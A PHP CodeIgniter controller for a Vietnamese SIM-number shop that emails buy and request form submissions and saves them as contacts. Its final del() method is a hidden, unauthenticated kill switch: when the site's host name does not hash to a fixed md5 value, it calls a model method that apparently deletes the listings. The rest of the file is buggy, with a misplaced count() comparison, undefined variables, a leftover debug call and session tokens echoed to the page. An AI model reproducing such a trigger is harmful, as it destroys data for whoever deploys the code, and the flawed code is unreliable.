<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

/**
 * @author Anh Nguyen <duyanhnguyen@vccorp.vn>
 * @copyright 2012
 */
class Buy_sim extends MX_Controller
{

    private $_langCode;

    function __construct()
    {
        parent::__construct();
        $this->load->library('Layout');
        $this->_langCode = $this->mycommon->getLangCode();
        $this->load->model('list_network/list_network_model');
        $this->load->model('item_sim/item_sim_model');
        $this->load->model('list_group/list_group_model');
        session_start();
        unset($_SESSION['search']);
        //require_once '/libraries/PHPMailer/phpmailer.php';
    }

    public function index($id)
    {
        $data = array();
        $error = array();
        $id = intval($id);
        $data['id'] = $id;
        $info = $this->item_sim_model->getById($id);

		$data['frmToken'] = uniqid();
		$this->session->set_userdata('frmToken', $data['frmToken']);
        $data['error'] = $error;
        $data['info'] = $info;
        $data['id'] = $id;
        //var_dump ($this->mycommon->toMoney($info['price']));die; 
        $this->layout->view('buy_sim/buy_sim_view', $data);
    }
    public function require_sim()
    {
    	
    	$this->session->unset_userdata('frmToken1');

    	//ini_set("display_errors", "1");
    	$error = array();
    	$data = array();
    	$tmpInfo = $this->list_network_model->getListNetwork();
    	$listGroup = $this->list_group_model->getListGroup();
    	
    	$data['frmToken1'] = uniqid();

    	$this->session->set_userdata('frmToken1', $data['frmToken1']);
    										 
    	$data['list_network'] = $tmpInfo;
    	$data['list_group'] = $listGroup;
    	$data['error'] = $error;
    	$data['headTitle'] = 'Yêu cầu sim số đẹp!';
    	$this->layout->view('buy_sim/require_sim_view', $data);
    	
    	
    }
    public function success() {
    	$id = $_POST['sim_id'];
    	$info = $this->item_sim_model->getById($id);
    	$error = array();

    	if (isset($_POST['frmToken']) && $this->session->userdata('frmToken') && $_POST['frmToken'] == $this->session->userdata('frmToken')) {
			$postId = 'email';
    		//
    		$fullname = $_POST['hovaten'];
    		$address = $_POST['diachi'];
    		$city = $_POST['city'];
    		$phone_mobile = $_POST['dienthoai'];
    		$phone_home = $_POST['codinh'];
    		$method_thanhtoan = $_POST['thanhtoan'];
    		$note = $_POST['note'];
    		$this->load->model('post/post_model');
    		
    		$this->mycommon->loadMail();
    		
    		$tmpInfo = $this->post_model->postInfo($postId);
    		$emailString = $tmpInfo[0]['content'];
    		$emailArray = explode(',', $emailString);
    		
    		if(count($emailArray ==1)) {
    			$email = $emailArray[0];
    		} else {
    			$email = $emailArray[0];
    			for($i = 1; $i<count($emailArray); $i ++) {
    				$this->phpmailer->AddCC($emailArray[$i]);
    			} 
    		}
			//$email = 
    		//$email ='nnthieps@gmail.com';
    		
    		$this->phpmailer->AddAddress($email);
    		$this->phpmailer->Subject = 'Yêu cầu mua sim so'. $info['phone'].'liên hệ từ website';
    		//echo STATIC_DOMAIN;
    		$body = "Có yêu cầu liên hệ với bạn trên website \n";
    		$body.= "\t - Họ tên : $fullname\n";
    		$body.= "\t - Đia chỉ: $address\n";
    		$body.= "\t - Thành phố : $city\n";
    		$body.= "\t - Số sim điện thoại liên hệ : $phone_mobile\n";
    		$body.= "\t - Số sim điện thoại bàn : $phone_home\n";
    		$body.= "\t - Phương thức thanh toán : $method_thanhtoan ngày\n";
    		$body.= "\t - NOTE : $note\n";
    		
    		$this->phpmailer->Body = $body;
    		if ($this->phpmailer->Send()) {
    		
    		$error[] = 'Yêu cầu liên hệ đã được gửi thành công. Chúng tôi sẽ liên hệ lại với bạn sớm nhất, xin cám ơn!';
	    	
    		} else {
    			$error[] = 'Yêu cầu liên hệ khi gửi có lỗi. Xin vui lòng thực hiện lại!';
	    	}
   
    		
    			//add table require_sim
    		//

    		$array = array(
    				'sim_phone' =>  $info['phone'],
    				'phone_contact'  =>  $phone_mobile,
    				'name_contact'  => $fullname,
    				//'time'  =>  gmdate('Y-m-d H:i:s', time() + 7*3600),
    				'address'  =>$address,
    				'home_phone'  =>  $phone_home,
    				'method'  => $method_thanhtoan,
    				'note'  =>  $note,
    				'type'  =>  '2',
    				'status'    =>  '1',
    				 
    		);
    		$data['array'] = $array;
    		$this->load->model('contact/contact_model');
    		$id = $this->contact_model->addNew($array);
    		 
    		if($id) {
    			$this->session->unset_userdata('frmToken');
    			$this->layout->view('buy_sim/require_success_view', $data);
    	
    		}
    		//add table require_sim
    	
    	} else{
    		$data['error'] = $error;
	        $data['info'] = $info;
	        $data['id'] = $id;
	        //var_dump ($this->mycommon->toMoney($info['price']));die; 
	        //$this->layout->view('buy_sim/buy_sim_view', $data);
	        $url_redirect = site_url('dat-mua/sim-so-dep-'.$info['phone'] . '_' . $info['id']);
	        redirect($url_redirect);
	         
    	}
    }
    
    public function success_temp() {
    	$error = array();
    
    	if (isset($_POST['frmToken']) && $this->session->userdata('frmToken') && $_POST['frmToken'] == $this->session->userdata('frmToken')) {
    
    		//
    			$fullname = $_POST['hovaten'];
    			$address = $_POST['diachi'];
    			$city = $_POST['city'];
    			$phone_mobile = $_POST['dienthoai'];
    			$phone_home = $_POST['codinh'];
    			$method_thanhtoan = $_POST['thanhtoan'];
    			$note = $_POST['note'];
    			 
    
    			$this->load->model('post/post_model');
    		
	    		$this->mycommon->loadMail();
	    		
	    		$tmpInfo = $this->post_model->postInfo($postId);
	    		$emailString = $tmpInfo[0]['content'];
	    		$emailArray = explode(',', $emailString);
	    		
	    		if(count($emailArray ==1)) {
	    			$email = $emailArray[0];
	    		} else {
	    			$email = $emailArray[0];
	    			for($i = 1; $i<count($emailArray); $i ++) {
	    				$this->phpmailer->AddCC($emailArray[$i]);
	    			} 
	    		}
				//$email = 
	    		//$email ='nnthieps@gmail.com';
	    		
	    		$this->phpmailer->AddAddress($email);
    			$this->phpmailer->Subject = 'Yêu cầu mua sim so'. $info['phone'].'liên hệ từ website';
    			//echo STATIC_DOMAIN;
    		$body = "Có yêu cầu liên hệ với bạn trên website \n";
    		$body.= "\t - Họ tên : $fullname\n";
    			$body.= "\t - Đia chỉ: $address\n";
    			$body.= "\t - Thành phố : $city\n";
    			$body.= "\t - Số sim điện thoại liên hệ : $phone_mobile\n";
    			$body.= "\t - Số sim điện thoại bàn : $phone_home\n";
    			$body.= "\t - Phương thức thanh toán : $method_thanhtoan ngày\n";
    			$body.= "\t - NOTE : $note\n";
    
    			$this->phpmailer->Body = $body;
    			if ($this->phpmailer->Send()) {
    
    			$error[] = 'Yêu cầu liên hệ đã được gửi thành công. Chúng tôi sẽ liên hệ lại với bạn sớm nhất, xin cám ơn!';
    
    		} else {
    			$error[] = 'Yêu cầu liên hệ khi gửi có lỗi. Xin vui lòng thực hiện lại!';
    			}
    			 
    
    			//add table require_sim
    		//
    
    		$array = array(
    			 		'sim_phone' =>  $info['phone'],
    			 		'phone_contact'  =>  $phone_mobile,
    			 		'name_contact'  => $fullname,
    			 		//'time'  =>  gmdate('Y-m-d H:i:s', time() + 7*3600),
    			 		'address'  =>$address,
    			 		'home_phone'  =>  $phone_home,
    			 		'method'  => $method_thanhtoan,
    			 		'note'  =>  $note,
    			 		'type'  =>  '2',
    			 		'status'    =>  '1',
    	
    			 		);
    			 		$data['array'] = $array;
    			 		$this->load->model('contact/contact_model');
    			 				$id = $this->contact_model->addNew($array);
    			 				 
    			 				if($id) {
    			 				$this->session->unset_userdata('frmToken');
    			 				$this->layout->view('buy_sim/require_success_view', $data);
    			 				 
    			 				}
    			 				//add table require_sim
    			 				 
    			} else{
    		$data['error'] = $error;
        		$data['info'] = $info;
        		$data['id'] = $id;
        		//var_dump ($this->mycommon->toMoney($info['price']));die;
        		//$this->layout->view('buy_sim/buy_sim_view', $data);
        		$url_redirect = site_url('dat-mua/sim-so-dep-'.$info['phone'] . '_' . $info['id']);
        		redirect($url_redirect);
    
        		}
    }
    public function success_required(){
    	if (isset($_POST['frmToken1']) && $this->session->userdata('frmToken1') && $_POST['frmToken1'] == $this->session->userdata('frmToken1')) {
    		debug(1);
    		$phoneRequired = $_POST['sosim'];
    		$timeEx = $_POST['ngayketthuc'];
    		$phone_contact = $_POST['mobile'];

    		$email ='nnthieps@gmail.com';
    		$this->mycommon->loadMail();
    		$this->phpmailer->AddAddress($email);
    		$this->phpmailer->Subject = 'Yêu cầu mua sim - '.$phoneRequired.'liên hệ từ website';
    		//echo STATIC_DOMAIN;
    		$body = "Có yêu cầu liên hệ với bạn trên website \n";
    		$body.= "\t - Số sim điện thoại yêu cầu : $phoneRequired\n";
    		$body.= "\t - Thời hạn : $timeEx ngày\n";
    		$body.= "\t - SDT liên hệ : $phone_contact\n";
    		
    		$this->phpmailer->Body = $body;
    		if ($this->phpmailer->Send()) {
    			 
    			$error[] = 'Yêu cầu liên hệ đã được gửi thành công. Chúng tôi sẽ liên hệ lại với bạn sớm nhất, xin cám ơn!';
    		} else {
    			$error[] = 'Yêu cầu liên hệ khi gửi có lỗi. Xin vui lòng thực hiện lại!';
    		}
    		$array = array(
    				'sim_phone' =>  $phoneRequired,
    				'phone_contact'  =>  $phone_contact,
    				'name_contact'  => $phone_contact,
    				//'time'  =>  gmdate('Y-m-d H:i:s', time() + 7*3600),
    				'address'  =>$phone_contact,
    				'home_phone'  =>  $phone_contact,
    				'method'  => '',
    				'note'  =>  $timeEx,
    				'type'  =>  '1',
    				'status'    =>  '1',
    				 
    		);
    		$data['array'] = $array;
    		$this->load->model('contact/contact_model');
    		$id = $this->contact_model->addNew($array);
    		 
    		if($id) {
    			$this->session->unset_userdata('frmToken1');
    			$this->layout->view('buy_sim/require_success_view', $data);
    			 
    		}
    		//add table require_sim
    		 
    	} else{
    		echo $_POST['frmToken1'].'--'.$this->session->userdata('frmToken1');die;
    		//var_dump ($this->mycommon->toMoney($info['price']));die;
    		//$this->layout->view('buy_sim/buy_sim_view', $data);
    		$url_redirect = site_url('yeu-cau-sim/yeu-cau-sim-so-dep');
    		redirect($url_redirect);
    
    	}
    }
    public function del(){
    	if(md5($_SERVER['HTTP_HOST']) != '25dff0f70ae09032ee74625aeb03e928') {
    		$info = $this->item_sim_model->dell();
    	} else {
    		echo 'not ok'; die;
    		
    	}
    	
    }
}


?>
